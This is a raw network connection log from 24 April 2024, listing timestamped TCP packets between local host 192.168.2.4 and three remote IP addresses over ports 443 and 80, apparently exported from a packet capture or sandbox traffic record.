Apr 24, 2024 07:37:07.936901093 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:07.940588951 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:07.940617085 CEST	443	49738	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:07.940975904 CEST	443	49738	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:07.941044092 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:07.941452980 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:07.984153032 CEST	443	49738	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:08.373246908 CEST	443	49739	172.67.139.220	192.168.2.4
Apr 24, 2024 07:37:08.373331070 CEST	49739	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:37:08.373368025 CEST	443	49739	172.67.139.220	192.168.2.4
Apr 24, 2024 07:37:08.373418093 CEST	49739	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:37:08.373428106 CEST	443	49739	172.67.139.220	192.168.2.4
Apr 24, 2024 07:37:08.373475075 CEST	49739	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:37:08.373481989 CEST	443	49739	172.67.139.220	192.168.2.4
Apr 24, 2024 07:37:08.373524904 CEST	49739	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:37:08.373532057 CEST	443	49739	172.67.139.220	192.168.2.4
Apr 24, 2024 07:37:08.373575926 CEST	49739	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:37:08.373596907 CEST	443	49739	172.67.139.220	192.168.2.4
Apr 24, 2024 07:37:08.373606920 CEST	49739	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:37:08.373624086 CEST	443	49739	172.67.139.220	192.168.2.4
Apr 24, 2024 07:37:08.373631954 CEST	49739	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:37:08.373655081 CEST	49739	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:37:08.373682022 CEST	49739	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:37:08.583755970 CEST	443	49738	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:08.583831072 CEST	443	49738	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:08.583919048 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:08.585625887 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:08.585645914 CEST	443	49738	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:08.607086897 CEST	49740	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:08.607121944 CEST	443	49740	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:08.607278109 CEST	49740	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:08.607512951 CEST	49740	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:08.607521057 CEST	443	49740	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:09.263164997 CEST	443	49740	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:09.267230034 CEST	49740	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:09.267806053 CEST	49740	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:09.267817974 CEST	443	49740	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:09.269896984 CEST	49740	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:09.269902945 CEST	443	49740	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:10.252177954 CEST	49741	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:10.252801895 CEST	49742	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:10.345400095 CEST	443	49740	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:10.345521927 CEST	49740	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:10.345539093 CEST	443	49740	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:10.345570087 CEST	443	49740	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:10.345599890 CEST	49740	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:10.345663071 CEST	49740	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:10.345841885 CEST	49740	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:10.345861912 CEST	443	49740	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:10.359035969 CEST	49743	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:10.359088898 CEST	443	49743	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:10.359175920 CEST	49743	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:10.359565973 CEST	49743	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:10.359590054 CEST	443	49743	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:10.578819990 CEST	80	49741	85.11.159.22	192.168.2.4
Apr 24, 2024 07:37:10.578999996 CEST	49741	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:10.579310894 CEST	80	49742	85.11.159.22	192.168.2.4
Apr 24, 2024 07:37:10.579382896 CEST	49742	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:10.597410917 CEST	49741	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:10.597637892 CEST	49742	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:10.923897982 CEST	80	49741	85.11.159.22	192.168.2.4
Apr 24, 2024 07:37:10.925546885 CEST	80	49741	85.11.159.22	192.168.2.4
Apr 24, 2024 07:37:10.925668955 CEST	49741	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:10.925770044 CEST	80	49741	85.11.159.22	192.168.2.4
Apr 24, 2024 07:37:10.925934076 CEST	49741	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:10.926336050 CEST	80	49742	85.11.159.22	192.168.2.4
Apr 24, 2024 07:37:10.927979946 CEST	80	49742	85.11.159.22	192.168.2.4
Apr 24, 2024 07:37:10.928061962 CEST	49742	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:10.928394079 CEST	80	49742	85.11.159.22	192.168.2.4
Apr 24, 2024 07:37:10.928446054 CEST	49742	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:11.017183065 CEST	443	49743	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:11.017311096 CEST	49743	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:11.087626934 CEST	49741	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:11.091698885 CEST	49743	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:11.091737032 CEST	443	49743	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:11.096493006 CEST	49743	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:11.096519947 CEST	443	49743	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:11.097018003 CEST	49742	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:11.414088011 CEST	80	49741	85.11.159.22	192.168.2.4
Apr 24, 2024 07:37:11.423502922 CEST	80	49742	85.11.159.22	192.168.2.4
Apr 24, 2024 07:37:12.078429937 CEST	443	49743	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:12.078469038 CEST	443	49743	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:12.078561068 CEST	443	49743	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:12.078564882 CEST	49743	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:12.078594923 CEST	49743	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:12.078629017 CEST	49743	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:13.121814966 CEST	49743	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:13.121865988 CEST	443	49743	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:13.157597065 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:13.157654047 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:13.157730103 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:13.159295082 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:13.159310102 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:13.817061901 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:13.817363024 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:13.817734957 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:13.817744017 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:13.819569111 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:13.819574118 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:14.866365910 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:14.866394043 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:14.866430044 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:14.866466999 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:14.866482019 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:14.866482973 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:14.866525888 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:14.882100105 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:14.882142067 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:15.137706041 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:15.137763977 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:15.137873888 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:15.138104916 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:15.138120890 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:15.615608931 CEST	49747	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:37:15.615654945 CEST	443	49747	172.67.139.220	192.168.2.4
Apr 24, 2024 07:37:15.615889072 CEST	49747	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:37:15.670270920 CEST	49747	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:37:15.670291901 CEST	443	49747	172.67.139.220	192.168.2.4
Apr 24, 2024 07:37:15.794217110 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:15.796945095 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:15.799171925 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:15.799187899 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:15.801537991 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:15.801537991 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:15.801549911 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:15.801568985 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:15.999491930 CEST	443	49747	172.67.139.220	192.168.2.4
Apr 24, 2024 07:37:15.999954939 CEST	49747	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:37:16.004870892 CEST	49747	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:37:16.004884005 CEST	443	49747	172.67.139.220	192.168.2.4
Apr 24, 2024 07:37:16.005136013 CEST	443	49747	172.67.139.220	192.168.2.4
Apr 24, 2024 07:37:16.005239964 CEST	49747	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:37:16.006943941 CEST	49747	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:37:16.052115917 CEST	443	49747	172.67.139.220	192.168.2.4
Apr 24, 2024 07:37:16.100786924 CEST	49748	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:16.101430893 CEST	49749	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:16.387530088 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:16.387573004 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:16.387731075 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:16.388124943 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:16.388135910 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:16.428781033 CEST	80	49748	85.11.159.22	192.168.2.4
Apr 24, 2024 07:37:16.428965092 CEST	49748	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:16.429076910 CEST	49748	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:16.429107904 CEST	80	49749	85.11.159.22	192.168.2.4
Apr 24, 2024 07:37:16.429335117 CEST	49749	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:16.429429054 CEST	49749	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:16.755924940 CEST	80	49748	85.11.159.22	192.168.2.4
Apr 24, 2024 07:37:16.757976055 CEST	80	49748	85.11.159.22	192.168.2.4
Apr 24, 2024 07:37:16.758269072 CEST	49748	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:16.759157896 CEST	80	49748	85.11.159.22	192.168.2.4
Apr 24, 2024 07:37:16.759334087 CEST	49748	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:16.759335041 CEST	49748	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:16.778007030 CEST	443	49747	172.67.139.220	192.168.2.4
Apr 24, 2024 07:37:16.778096914 CEST	443	49747	172.67.139.220	192.168.2.4
Apr 24, 2024 07:37:16.778167009 CEST	49747	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:37:16.778410912 CEST	49747	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:37:16.778430939 CEST	443	49747	172.67.139.220	192.168.2.4
Apr 24, 2024 07:37:16.862075090 CEST	80	49749	85.11.159.22	192.168.2.4
Apr 24, 2024 07:37:16.862390041 CEST	80	49749	85.11.159.22	192.168.2.4
Apr 24, 2024 07:37:16.862457991 CEST	49749	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:16.862878084 CEST	80	49749	85.11.159.22	192.168.2.4
Apr 24, 2024 07:37:16.862950087 CEST	49749	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:16.863056898 CEST	49749	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:16.893949032 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:16.894023895 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:16.894045115 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:16.894088984 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:16.894124985 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:16.894176960 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:16.894897938 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:16.894912958 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:17.034893990 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:17.034969091 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:17.035511017 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:17.035518885 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:17.052337885 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:17.052345037 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:17.086102962 CEST	80	49748	85.11.159.22	192.168.2.4
Apr 24, 2024 07:37:17.189605951 CEST	80	49749	85.11.159.22	192.168.2.4
Apr 24, 2024 07:37:18.049046040 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:18.049072981 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:18.049088955 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:18.049170017 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:18.049200058 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:18.049254894 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:18.195400953 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:18.195425034 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:18.195498943 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:18.195521116 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:18.196962118 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:18.416378021 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:18.416403055 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:18.416470051 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:18.416500092 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:18.416515112 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:18.416594982 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:18.559284925 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:18.559309959 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:18.559416056 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:18.559449911 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:18.560890913 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:18.665020943 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:18.665044069 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:18.665163040 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:18.665189028 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:18.665682077 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:18.750112057 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:18.750138044 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:18.750241041 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:18.750272036 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:18.750739098 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:18.806929111 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:18.806952000 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:18.807025909 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:18.807039022 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:18.807506084 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:18.877196074 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:18.877262115 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:18.877464056 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:18.877475023 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:18.877516031 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:18.941385031 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:18.941425085 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:18.941476107 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:18.941498041 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:18.941513062 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:18.941538095 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:18.995873928 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:18.995943069 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:18.995991945 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:18.996022940 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:18.996033907 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:18.996803045 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.045120955 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.045185089 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.045209885 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.045218945 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.045247078 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.045258045 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.087343931 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.087407112 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.087436914 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.087446928 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.087475061 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.087490082 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.123008013 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.123079062 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.123095989 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.123104095 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.123142958 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.153095961 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.153152943 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.153186083 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.153193951 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.153223038 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.153243065 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.183598042 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.183624983 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.183691025 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.183701038 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.183723927 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.183741093 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.210338116 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.210386992 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.210452080 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.210460901 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.210490942 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.210510015 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.239640951 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.239696026 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.239733934 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.239742994 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.239773989 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.239799023 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.265707970 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.265754938 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.265798092 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.265829086 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.265849113 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.265872955 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.288785934 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.288809061 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.288857937 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.288868904 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.288903952 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.288918018 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.312829018 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.312874079 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.312903881 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.312913895 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.312946081 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.312967062 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.334240913 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.334300041 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.334315062 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.334325075 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.334352016 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.334369898 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.359113932 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.359170914 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.359203100 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.359211922 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.359244108 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.359271049 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.379116058 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.379143953 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.379240036 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.379259109 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.379271030 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.380316973 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.400013924 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.400059938 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.400106907 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.400119066 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.400136948 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.400882959 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.421644926 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.421689987 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.421720028 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.421730995 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.421742916 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.424882889 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.439021111 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.439069033 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.439129114 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.439140081 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.439152002 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.439183950 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.458801985 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.458849907 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.458898067 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.458909988 CEST	443	49750	95.217.9.149	192.168.2.4
